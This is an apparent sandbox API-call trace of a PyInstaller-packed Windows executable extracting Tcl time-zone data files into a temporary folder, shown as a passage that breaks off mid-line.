lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.632] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.632] GetFileType (hFile=0x10c) returned 0x1 [0043.632] htonl (hostlong=0xc0335d00) returned 0x5d33c0 [0043.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.632] htonl (hostlong=0x89000000) returned 0x89 [0043.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0043.632] htonl (hostlong=0x89000000) returned 0x89 [0043.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.632] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.632] htonl (hostlong=0xab000000) returned 0xab [0043.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0043.632] htonl (hostlong=0x89000000) returned 0x89 [0043.633] htonl (hostlong=0xab000000) returned 0xab [0043.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.633] CloseHandle (hObject=0x10c) returned 1 [0043.633] GetLastError () returned 0x0 [0043.633] SetLastError (dwErrCode=0x0) [0043.633] GetLastError () returned 0x0 [0043.633] SetLastError (dwErrCode=0x0) [0043.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.633] GetFileType (hFile=0x10c) returned 0x1 [0043.633] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.633] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.633] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.633] CloseHandle (hObject=0x10c) returned 1 [0043.633] GetLastError () returned 0x0 [0043.633] SetLastError (dwErrCode=0x0) [0043.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.634] GetFileType (hFile=0x10c) returned 0x1 [0043.634] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.634] CloseHandle (hObject=0x10c) returned 1 [0043.634] GetLastError () returned 0x0 [0043.634] SetLastError (dwErrCode=0x0) [0043.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.634] GetFileType (hFile=0x10c) returned 0x1 [0043.634] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.635] CloseHandle (hObject=0x10c) returned 1 [0043.635] GetLastError () returned 0x0 [0043.635] SetLastError (dwErrCode=0x0) [0043.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Aleutian") returned 68 [0043.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Aleutian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\aleutian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.635] GetLastError () returned 0x2 [0043.635] SetLastError (dwErrCode=0x2) [0043.635] GetLastError () returned 0x2 [0043.635] SetLastError (dwErrCode=0x2) [0043.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Aleutian", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Aleutian", lpFilePart=0x0) returned 0x43 [0043.635] GetLastError () returned 0x2 [0043.635] SetLastError (dwErrCode=0x2) [0043.635] GetLastError () returned 0x2 [0043.635] SetLastError (dwErrCode=0x2) [0043.635] GetLastError () returned 0x2 [0043.635] SetLastError (dwErrCode=0x2) [0043.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Aleutian") returned 68 [0043.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Aleutian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\aleutian"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.635] GetFileType (hFile=0x10c) returned 0x1 [0043.635] htonl (hostlong=0xab000000) returned 0xab [0043.635] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.635] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0043.636] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.636] CloseHandle (hObject=0x10c) returned 1 [0043.636] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.636] htonl (hostlong=0x30000000) returned 0x30 [0043.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.637] GetFileType (hFile=0x10c) returned 0x1 [0043.637] htonl (hostlong=0x49345d00) returned 0x5d3449 [0043.637] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e449, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.637] htonl (hostlong=0x8c000000) returned 0x8c [0043.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0043.637] htonl (hostlong=0x8c000000) returned 0x8c [0043.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.637] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.637] htonl (hostlong=0xb3000000) returned 0xb3 [0043.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x560a70 [0043.637] htonl (hostlong=0x8c000000) returned 0x8c [0043.637] htonl (hostlong=0xb3000000) returned 0xb3 [0043.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.637] CloseHandle (hObject=0x10c) returned 1 [0043.637] GetLastError () returned 0x0 [0043.637] SetLastError (dwErrCode=0x0) [0043.637] GetLastError () returned 0x0 [0043.637] SetLastError (dwErrCode=0x0) [0043.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.638] GetFileType (hFile=0x10c) returned 0x1 [0043.638] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.638] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.638] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.638] CloseHandle (hObject=0x10c) returned 1 [0043.638] GetLastError () returned 0x0 [0043.638] SetLastError (dwErrCode=0x0) [0043.638] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.638] GetFileType (hFile=0x10c) returned 0x1 [0043.638] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.638] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.639] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.639] CloseHandle (hObject=0x10c) returned 1 [0043.639] GetLastError () returned 0x0 [0043.639] SetLastError (dwErrCode=0x0) [0043.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.639] GetFileType (hFile=0x10c) returned 0x1 [0043.639] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.639] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.639] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.639] CloseHandle (hObject=0x10c) returned 1 [0043.639] GetLastError () returned 0x0 [0043.639] SetLastError (dwErrCode=0x0) [0043.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Arizona") returned 67 [0043.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Arizona" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\arizona"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.639] GetLastError () returned 0x2 [0043.639] SetLastError (dwErrCode=0x2) [0043.639] GetLastError () returned 0x2 [0043.640] SetLastError (dwErrCode=0x2) [0043.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Arizona", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Arizona", lpFilePart=0x0) returned 0x42 [0043.640] GetLastError () returned 0x2 [0043.640] SetLastError (dwErrCode=0x2) [0043.640] GetLastError () returned 0x2 [0043.640] SetLastError (dwErrCode=0x2) [0043.640] GetLastError () returned 0x2 [0043.640] SetLastError (dwErrCode=0x2) [0043.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Arizona") returned 67 [0043.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Arizona" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\arizona"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.641] GetFileType (hFile=0x10c) returned 0x1 [0043.641] htonl (hostlong=0xb3000000) returned 0xb3 [0043.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.641] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0043.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.642] CloseHandle (hObject=0x10c) returned 1 [0043.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560a70 | out: hHeap=0x530000) returned 1 [0043.642] htonl (hostlong=0x30000000) returned 0x30 [0043.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.642] GetFileType (hFile=0x10c) returned 0x1 [0043.642] htonl (hostlong=0xd5345d00) returned 0x5d34d5 [0043.642] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e4d5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.642] htonl (hostlong=0x8a000000) returned 0x8a [0043.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0043.642] htonl (hostlong=0x8a000000) returned 0x8a [0043.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.642] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, 